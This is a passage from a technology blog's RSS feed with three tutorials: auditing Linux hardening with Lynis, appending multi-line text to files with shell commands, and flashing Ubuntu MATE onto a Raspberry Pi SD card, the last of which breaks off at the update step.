					<wfw:commentRss>http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Linux Security Auditing With Lynis</title>
		<link>http://kostacipo.stream/linux-security-auditing-with-lynis/</link>
					<comments>http://kostacipo.stream/linux-security-auditing-with-lynis/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Mon, 22 Mar 2021 13:35:37 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[auditing]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2069</guid>

					<description><![CDATA[<p>Installing Lynis Lynis is an extensible security audit tool for computer systems running Linux, FreeBSD, macOS, OpenBSD, Solaris, and other Unix derivatives. It assists system administrators and security professionals with scanning a system and its security defenses, with the final goal being system hardening. Lynis is available as a package for most Linux distributions, we [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/linux-security-auditing-with-lynis/">Linux Security Auditing With Lynis</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="g1-content-narrow g1-typography-xl entry-content">
<h1><b>Installing Lynis</b></h1>
<p>Lynis is an extensible security audit tool for computer systems running Linux, FreeBSD, macOS, OpenBSD, Solaris, and other Unix derivatives. It assists system administrators and security professionals with scanning a system and its security defenses, with the final goal being system hardening.</p>
<p>Lynis is available as a package for most Linux distributions, we can install it by running the following command:<br />
<strong><span style="font-family: terminal, monaco, monospace;">sudo apt install lynis</span></strong></p>
<p>To display all the options and commands available, we can run the following command:<br />
<strong><span style="font-family: terminal, monaco, monospace;">lynis show options</span></strong></p>
<p>Before we get started with scanning, we need to ensure that Lynis is up to date. To check if we are running the latest version we can run the following command:</p>
<div class="showyourterms dark nostatusbar" data-title="Terminal">
<div>
<div class="command" data-line="0"><strong><span style="font-family: terminal, monaco, monospace;">sudo lynis update info</span></strong></div>
</div>
</div>
<p><img fetchpriority="high" decoding="async" class="alignnone wp-image-2968 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2021/03/image4-1.png" sizes="(max-width: 640px) 100vw, 640px" srcset="https://hackersploit.org/wp-content/uploads/2021/03/image4-1.png 778w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-300x162.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-768x416.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-561x304.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-364x197.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-728x394.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-608x329.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-758x410.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-89x48.png 89w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-177x96.png 177w" alt="" width="640" height="346" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2021/03/image4-1.png" data-srcset="https://hackersploit.org/wp-content/uploads/2021/03/image4-1.png 778w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-300x162.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-768x416.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-561x304.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-364x197.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-728x394.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-608x329.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-758x410.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-89x48.png 89w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-177x96.png 177w" data-sizes="(max-width: 640px) 100vw, 640px" /></p>
<h2><b>System Auditing With Lynis</b></h2>
<p>To perform a system audit with Lynis we run the following command:<br />
<strong><span style="font-family: terminal, monaco, monospace;">sud</span></strong></p>
<p>Lynis will output a lot of information that will also be stored under the /var/log/lynis.log file for easier access. The summary of the system audit will reveal important information about your system’s security posture and various security misconfigurations and vulnerabilities.</p>
<p>Lynis will also generate output on how these vulnerabilities and misconfigurations can be fixed or tweaked.</p>
<p><img decoding="async" class="alignnone wp-image-2969 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2021/03/image5-1.png" sizes="(max-width: 608px) 100vw, 608px" srcset="https://hackersploit.org/wp-content/uploads/2021/03/image5-1.png 952w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-300x201.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-768x514.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-180x120.png 180w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-561x375.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-364x244.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-728x487.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-608x407.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-758x507.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-72x48.png 72w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-143x96.png 143w" alt="" width="608" height="407" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2021/03/image5-1.png" data-srcset="https://hackersploit.org/wp-content/uploads/2021/03/image5-1.png 952w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-300x201.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-768x514.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-180x120.png 180w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-561x375.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-364x244.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-728x487.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-608x407.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-758x507.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-72x48.png 72w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-143x96.png 143w" data-sizes="(max-width: 608px) 100vw, 608px" /></p>
<p>The output also contains a hardening index score that is rated out of 100, this is used to give you a trackable tangible score of your system’s current security posture.</p>
<p>Lynis will also display any potential warnings that will indicate a severe security vulnerability or misconfiguration that needs to be fixed or patched, in this case, we have no warnings.</p>
<p><img decoding="async" class="alignnone size-full wp-image-2970 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2021/03/image6-1.png" sizes="(max-width: 434px) 100vw, 434px" srcset="https://hackersploit.org/wp-content/uploads/2021/03/image6-1.png 434w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-300x88.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-364x107.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-163x48.png 163w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-326x96.png 326w" alt="" width="434" height="128" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2021/03/image6-1.png" data-srcset="https://hackersploit.org/wp-content/uploads/2021/03/image6-1.png 434w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-300x88.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-364x107.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-163x48.png 163w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-326x96.png 326w" data-sizes="(max-width: 434px) 100vw, 434px" /></p>
<p>To increase our hardening index score, Lynis provides us with helpful suggestions that detail the various security configurations we need to make.</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-2967 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2021/03/image3-1.png" sizes="auto, (max-width: 629px) 100vw, 629px" srcset="https://hackersploit.org/wp-content/uploads/2021/03/image3-1.png 1100w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-300x186.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-1024x634.png 1024w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-768x475.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-561x347.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-364x225.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-728x451.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-608x376.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-758x469.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-78x48.png 78w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-155x96.png 155w" alt="" width="629" height="390" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2021/03/image3-1.png" data-srcset="https://hackersploit.org/wp-content/uploads/2021/03/image3-1.png 1100w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-300x186.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-1024x634.png 1024w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-768x475.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-561x347.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-364x225.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-728x451.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-608x376.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-758x469.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-78x48.png 78w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-155x96.png 155w" data-sizes="(max-width: 629px) 100vw, 629px" /></p>
<p>After following the suggestions and making the necessary changes, we can run the system audit with Lynis again.</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-2966 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2021/03/image2-1.png" sizes="auto, (max-width: 637px) 100vw, 637px" srcset="https://hackersploit.org/wp-content/uploads/2021/03/image2-1.png 861w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-300x177.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-768x452.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-561x330.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-364x214.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-728x429.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-608x358.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-758x446.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-82x48.png 82w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-163x96.png 163w" alt="" width="637" height="375" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2021/03/image2-1.png" data-srcset="https://hackersploit.org/wp-content/uploads/2021/03/image2-1.png 861w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-300x177.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-768x452.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-561x330.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-364x214.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-728x429.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-608x358.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-758x446.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-82x48.png 82w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-163x96.png 163w" data-sizes="(max-width: 637px) 100vw, 637px" /></p>
<p>As shown above, there is a significant improvement in the hardening index score that confirms the changes and configurations we made are applied and effective.</p>
<h2><b>Pentest With Lynis</b></h2>
<p>Lynis also has the ability to simulate a privileged/internal pentest on the system, this can be invoked by using the following command:<br />
<strong><span style="font-family: terminal, monaco, monospace;">sudo lynis &#8211;pentest</span></strong></p>
<p>This will perform a pentest on the system and will output a hardening index score that reflects the overall security posture of the system.</p>
</div>
<p>The post <a href="http://kostacipo.stream/linux-security-auditing-with-lynis/">Linux Security Auditing With Lynis</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/linux-security-auditing-with-lynis/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Linux Commands for Appending Multiple Lines to a File</title>
		<link>http://kostacipo.stream/linux-commands-for-appending-multiple-lines-to-a-file/</link>
					<comments>http://kostacipo.stream/linux-commands-for-appending-multiple-lines-to-a-file/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Sun, 22 Nov 2020 12:59:41 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">http://www.kostacipo.stream/?p=1893</guid>

					<description><![CDATA[<p>1. Overview In this quick tutorial, we’re going to take a look at how we can append multiline strings to a file using the tools provided by our command shell. For simplicity we’ll use the same set of test data in all the examples: Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/linux-commands-for-appending-multiple-lines-to-a-file/">Linux Commands for Appending Multiple Lines to a File</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>1. Overview</h2>
<p>In this quick tutorial, we’re going to take a look at how we can append multiline strings to a file using the tools provided by our command shell.</p>
<p>For simplicity we’ll use the same set of test data in all the examples:</p>
<pre>Lorem ipsum dolor sit amet, consectetur adipiscing elit,
sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</pre>
<p>The commands used in this tutorial were tested in Bash but should work in other POSIX-compliant shells as well, unless specified otherwise.</p>
<h2>2. echo</h2>
<p>We can redirect the output of echo and append it to our file using the redirection operator &gt;&gt;. A new line is inserted automatically when the file doesn’t exist and is not empty.</p>
<p>Therefore a naive solution to our problem would be to call echo twice, once for each line that we need to append:</p>
<p><code>echo Lorem ipsum dolor sit amet, consectetur adipiscing elit, &gt;&gt; target.txt</code><br />
<code>echo sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. &gt;&gt; target.txt</code></p>
<p>Let’s further simplify this and use a oneliner by explicitly inserting the newline character \n. We use the -e argument to force evaluation, which is required when we execute the statement within a script:</p>
<p><code>echo -e Lorem ipsum dolor sit amet, consectetur adipiscing elit,\\nsed do eiusmod \</code><br />
<code>tempor incididunt ut labore et dolore magna aliqua. &gt;&gt; target.txt</code></p>
<p>In the above example, we have to explicitly escape the \ with another \. However, we can avoid this by surrounding our string with double quotes, which is regarded as best practice:</p>
<p><code>echo -e "Lorem ipsum dolor sit amet, consectetur adipiscing elit,\nsed do eiusmod \</code><br />
<code>tempor incididunt ut labore et dolore magna aliqua." &gt;&gt; target.txt</code></p>
<p>It’s important to note that the echo command has one serious drawback. Many shells provide their own version of echo. Consequently, implementations are not always POSIX-compliant and can differ between shells.</p>
<h2>3. printf</h2>
<p>Let’s now take a look at the printf command. This command works the same in every POSIX-compliant shell and can be used in the same way as echo:</p>
<p><code>printf "Lorem ipsum dolor sit amet, consectetur adipiscing elit,\nsed do eiusmod \</code><br />
<code>tempor incididunt ut labore et dolore magna aliqua." &gt;&gt; target.txt</code></p>
<p>Furthermore, the printf command is more advanced and can be used to format strings as well.</p>
<p>It’s similar to the C-function that goes by the same name. For example, we can use a C-style string format like this:</p>
<p><code>printf "%s\n%s" "Lorem ipsum dolor sit amet, consectetur adipiscing elit," \</code><br />
<code>"sed do eiusmod tempor incididunt ut labore et dolore magna aliqua."</code></p>
<p>More information about formatting strings can be found in the comprehensive man pages.</p>
<h2>4. cat</h2>
<p>There are solutions to our problem that are less obvious.</p>
<p>For example, we can use the cat command for appending lines to a file. Normally, we use this command to concatenate files and print their contents to the standard output.</p>
<p>However, if we omit the file argument, cat will read input from the standard input. Then we can use cat to append text:</p>
<p><code>cat &lt;&lt; EOF &gt;&gt; target.txt</code><br />
<code>Lorem ipsum dolor sit amet, consectetur adipiscing elit,</code><br />
<code>sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</code><br />
<code>EOF</code></p>
<p>In this example, &lt;&lt; EOF means that we want cat to read from the standard input until it encounters a line only containing the text EOF (end of file). Likewise, the output of cat is written to target.txt in the same way as in previous examples, using the &gt;&gt; redirection operator.</p>
<h2>5. tee</h2>
<p>Simply put, the tee command takes standard input and copies it to standard output, also making copies of it in zero or more files. We can use tee in a similar way to how we used cat previously.</p>
<p>For example, we can tell tee to append (-a) standard input to our file until EOF is encountered:</p>
<p><code>tee -a target.txt &lt;&lt; EOF</code><br />
<code>Lorem ipsum dolor sit amet, consectetur adipiscing elit,</code><br />
<code>sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</code><br />
<code>EOF</code></p>
<h2>6. Conclusion</h2>
<p>In this quick tutorial, we looked at how we can use default shell commands to append multiline strings to a file.</p>
<p>We began by looking at the echo and printf commands which are the most obvious solutions. Then, we showed how we can achieve similar results using two less common approaches using the cat and tee commands.</p>
<p>The post <a href="http://kostacipo.stream/linux-commands-for-appending-multiple-lines-to-a-file/">Linux Commands for Appending Multiple Lines to a File</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/linux-commands-for-appending-multiple-lines-to-a-file/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How to Install Ubuntu Mate on Raspberry Pi 2 or 3</title>
		<link>http://kostacipo.stream/how-to-install-ubuntu-mate-on-raspberry-pi-2-or-3/</link>
					<comments>http://kostacipo.stream/how-to-install-ubuntu-mate-on-raspberry-pi-2-or-3/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Mon, 20 Apr 2020 13:19:49 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[raspberry pi]]></category>
		<category><![CDATA[ubuntu]]></category>
		<guid isPermaLink="false">http://www.kostacipo.stream/?p=1791</guid>

					<description><![CDATA[<p>&#160; Introduction Raspberry Pi is designed to run on Raspbian, a Debian-based operating system optimized for these devices. Even though Raspbian comes with more than 30,000 packages and covers most use-cases, power users may find the system restrictive. When users want more updates and a more familiar environment, Ubuntu can be installed. As Raspberry hardware [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/how-to-install-ubuntu-mate-on-raspberry-pi-2-or-3/">How to Install Ubuntu Mate on Raspberry Pi 2 or 3</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<div class="heading-text el-text">
<h2 class="h3"><strong>Introduction</strong></h2>
</div>
<div class="uncode_text_column">
<p>Raspberry Pi is designed to run on Raspbian, a Debian-based operating system optimized for these devices.</p>
<p>Even though Raspbian comes with more than 30,000 packages and covers most use-cases, power users may find the system restrictive. When users want more updates and a more familiar environment, Ubuntu can be installed.</p>
<p>As Raspberry hardware is a limiting factor in the choice of Ubuntu version, we recommend <strong>Ubuntu MATE</strong> optimized for the ARM architecture. The distribution of MATE developed for Raspberry Pi is lightweight and less demanding on resources.</p>
<p><strong>In this guide, learn how to install Ubuntu MATE on Raspberry Pi by writing the image to an SD card.</strong></p>
</div>
<div class="heading-text el-text">
<p class="h3"><strong>Prerequisites</strong></p>
</div>
<div class="uncode_text_column">
<ul>
<li>A Raspberry Pi device (version 2 or 3)</li>
<li>An SD/MicroSD card (8GB minimum, 32GB recommended)</li>
<li>A computer with an SD/MicroSD card reader</li>
<li>A tool for decompression for the version of OS on your computer</li>
</ul>
<p>&nbsp;</p>
<h2><span id="htoc-installing-ubuntu-mate-on-raspberry-pi">Installing Ubuntu Mate on Raspberry Pi</span></h2>
</div>
<div class="uncode_text_column">
<p>To install Ubuntu MATE on Raspberry Pi, you need to<strong> download an image</strong> and write it to an SD card. This process is straightforward.</p>
<p>Once you prepare a bootable SD card to install Ubuntu on Raspberry Pi, the rest of the installation will be familiar. Follow the steps below to boot Raspberry Pi to the Ubuntu MATE desktop.</p>
</div>
<div class="divider-wrapper ">
<hr class="border-accent-color separator-no-padding"></div>
<div class="icon-box icon-box-left">
<div class="icon-box-content">
<p><strong>Note: </strong>At the moment, you cannot install Ubuntu on Raspberry Pi 4. Only Raspberry Pi 2 and 3 are supported at the time of writing this article. Ubuntu MATE for Raspberry Pi 4 is yet to be released.</p>
</div>
</div>
<div class="divider-wrapper ">
<hr class="border-accent-color separator-no-padding"></div>
<div class="heading-text el-text">
<h3 class="h3"><span id="htoc-download-ubuntu-mate-for-raspberry-pi">STEP 1: Download Ubuntu MATE for Raspberry Pi</span></h3>
</div>
<div class="uncode_text_column">
<p>1. Navigate to the <a href="https://ubuntu-mate.org/download/">Ubuntu MATE download page</a> and select <strong>Raspberry Pi</strong> <strong>(recommended)</strong>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-91748 lazyloaded" src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/donwload-ubuntu-mate.png" alt="Download page for Raspberry Pi Ubuntu MATE image" data-lazy-src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/donwload-ubuntu-mate.png" data-was-processed="true" width="955" height="566"></p>
<p>2. On the next page, select <strong>18.04.2 (Bionic)</strong>. This is the only available selection at the time of writing this article.</p>
<p>3. Choose how to download the MATE image. You can use a torrent client, but a direct download is also available:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-91749 lazyloaded" src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/link-for-ubuntu-mate-download.png" alt="The URL for direct download of Ubuntu MATE image." data-lazy-src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/link-for-ubuntu-mate-download.png" data-was-processed="true" width="911" height="290"></p>
<p>4.<strong> Save the <em>.xz </em>compressed image file</strong> to the desired location.</p>
</div>
<div class="heading-text el-text">
<h3 class="h3"><span id="htoc-prepare-ubuntu-mate-image">STEP 2: Prepare Ubuntu MATE Image</span></h3>
</div>
<div class="uncode_text_column">
<p>The Raspberry Pi Ubuntu Mate image comes compressed. The extension of the file you downloaded is <em>.xz</em>. Use your favorite tool to extract the <em>.img </em>file.</p>
<p>To extract the file from a<strong> terminal</strong>, navigate to the location of the downloaded file and run this command:</p>
<pre class="chroma"><code class="language-output" data-lang="output">xz -d ubuntu-mate-18.04.2-beta1-desktop-armhf+raspi-ext4.img.xz</code></pre>
<p><strong>MacOS </strong>users can install <em>The Unarchiver </em>from the App Store and use that tool to extract the image. Find the file and double-click to extract it.</p>
<p>On a <strong>Windows</strong> machine, use the application of your choice. We recommend 7-Zip. Locate the downloaded file, right-click it, and hover over <strong><em>7-Zip</em></strong>. Choose where to extract the file. The simplest is to select <em><strong>Extract Here</strong></em>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-91750 lazyloaded" src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/7zip-extract-xz-file.png" alt="Extract xz file using 7zip on Windows." data-lazy-src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/7zip-extract-xz-file.png" data-was-processed="true" width="799" height="404"></p>
</div>
<div class="heading-text el-text">
<h3 class="h3"><span id="htoc-formatting-sd-card">STEP 3: Formatting the SD Card</span></h3>
</div>
<div class="uncode_text_column">
<p>Raspberry Pi uses the<strong> FAT32 format</strong> for SD cards. All Raspberry Pi models from 2014 onward use a <strong>MicroSD</strong> card. You need a card reader on your machine to complete further steps.</p>
<p>Use a MicroSD to SD adapter if your reader only accepts full-size SD cards.</p>
<p>The advanced method requires you to format the card, while Etcher will do that for you. To be on the safe side, format the card in any case before continuing.</p>
</div>
<div class="heading-text el-text">
<h4 class="h4"><span id="htoc-format-sd-card-on-windows">Format SD Card on Windows</span></h4>
</div>
<div class="uncode_text_column">
<p>To format an SD card on a Windows machine, you can use Windows Explorer.</p>
<p>1. Insert your SD card and locate it in the Explorer.</p>
<p>2. <strong>Right-click</strong> the disk volume for your card and select <strong>Format…</strong></p>
<p>3. <strong>Make sure the </strong>file system is set to FAT32. You can leave other options unchanged.</p>
<p>4. Select <strong>Start </strong>and confirm that you want to format the drive. Of course, all data on the card will be deleted.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-91751 size-full lazyloaded" src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/format-sd-windows.png" alt="Windows tool to format SD card" data-lazy-src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/format-sd-windows.png" data-was-processed="true" width="249" height="451"></p>
<p>5. You will see the <strong>confirmation message</strong> once the formatting process completes. Click <strong>OK </strong>and then close the Format tool.</p>
</div>
<div class="heading-text el-text">
<h4 class="h4"><span id="htoc-format-sd-card-on-macos">Format SD Card on MacOS</span></h4>
</div>
<div class="uncode_text_column">
<p>1. Use the <strong>Disk Utility </strong>on macOS to format an SD card. When you insert the card, open the utility, and locate the card on the list.</p>
<p>2. Once you select the card on the left, click the <strong>Erase</strong> tab.</p>
<p>3. Choose “MS-DOS (FAT)” from the drop-down list. Click <strong>Erase…</strong> to format the card.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-91752 size-full lazyloaded" src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/format-sd-macos.png" alt="MacOS disk utility erasing an SD card" data-lazy-src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/format-sd-macos.png" data-was-processed="true" width="800" height="587"></p>
</div>
<div class="heading-text el-text">
<h3 class="h3"><span id="htoc-write-image-to-sd-card-with-etcher">STEP 4: Write Image to SD Card with Etcher</span></h3>
</div>
<div class="uncode_text_column">
<p>The easiest method to write the Ubuntu MATE image to an SD card is by using the application Etcher. This tool allows you to write an image to your external drives easily.</p>
<p>Etcher is available for all operating systems: Windows, macOS, and Linux. Visit the <a href="https://www.balena.io/etcher/">Etcher download page</a> and download the version for your machine. Install the tool and run it.</p>
<p>1. First, <strong>select the Ubuntu MATE image</strong> you downloaded earlier.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-91753 size-full lazyloaded" src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/etcher-select-image.png" alt="Etcher tool with select image button highlighted" data-lazy-src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/etcher-select-image.png" data-was-processed="true" width="790" height="364"></p>
<p>2. Second, <strong>select a drive.</strong> Click the drive icon and select your SD card from the list and click Continue.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-91754 size-full lazyloaded" src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/etcher-select-drive.png" alt="Etcher tool with select drive" data-lazy-src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/etcher-select-drive.png" data-was-processed="true" width="789" height="371"></p>
<p>3. Finally, click <strong>Flash </strong>and let the tool complete the process. This may take some time, depending on the speed of your SD card.</p>
<p>4. When Etcher finishes flashing the image to your card, you will see the <strong>Flash Complete</strong> message. Close the app and eject the card from the computer.</p>
</div>
<div class="heading-text el-text">
<h4 class="h4"><span id="htoc-advanced-write-ubuntu-mate-to-sd-card-using-terminal">Advanced: Write Ubuntu MATE to SD Card Using Terminal</span></h4>
</div>
<div class="clear">&nbsp;</div>
<div class="uncode_text_column">
<p>Instead of using Etcher, you can use the terminal to write the image to an SD card on Linux and macOS machines. Make sure to have the card formatted, as explained in the previous steps.</p>
<p>1. To write the Ubuntu MATE image, open the terminal and navigate to its location. In our case, it is the <em>Downloads</em> directory:</p>
<pre class="chroma"><code class="language-output" data-lang="output">cd Download</code></pre>
<p>2. Use the <strong><code>dd</code> </strong>command to write to the card. You need the exact drive location so you can direct the tool where to write.</p>
<p>The full command with the current Ubuntu MATE image name and a drive location is:</p>
<pre class="chroma"><code class="language-output" data-lang="output">sudo dd bs=1m if=ubuntu-mate-18.04.2-beta1-desktop-armhf+raspi-ext4.img of=/dev/rdisk1 conv=sync</code></pre>
<p>Make sure you use the name of the image you downloaded and your drive path instead of our <em>/dev/rdisk1</em>.</p>
<p>3. <strong>Eject the SD</strong> card from your computer when the process completes.</p>
</div>
<div class="heading-text el-text">
<h3 class="h3"><span id="htoc-launch-ubuntu-mate-installation">STEP 5: Launch Ubuntu MATE Installation </span></h3>
</div>
<div class="uncode_text_column">
<p>Insert the SD card in your Raspberry Pi <strong>before</strong> you turn it on. Connect all cables if you have not already and let the device boot up.</p>
<p>The installation procedure is similar to any other <a href="https://phoenixnap.com/kb/how-to-install-ubuntu-18-04-bionic-beaver" rel="noopener noreferrer">Ubuntu installation</a>. Continue by selecting the keyboard layout, location, network, username, and password.</p>
<p>Let the installation complete, and you will soon see the Ubuntu Mate desktop.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-91755 lazyloaded" src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/ubuntu-mate-home.png" alt="Ubuntu MATE home screen on Raspberry Pi nstallation step-by-step instructions" data-lazy-src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/ubuntu-mate-home.png" data-was-processed="true" width="710" height="501"></p>
</div>
<div class="heading-text el-text">
<h3 class="h3"><span id="htoc-step-6-update-ubuntu-mate">STEP 6: Update Ubuntu MATE</span></h3>
</div>
<div class="uncode_text_column">
<p>Once the system fully loads on your Raspberry Pi, you need to run the updater to make sure the software is updated.</p>
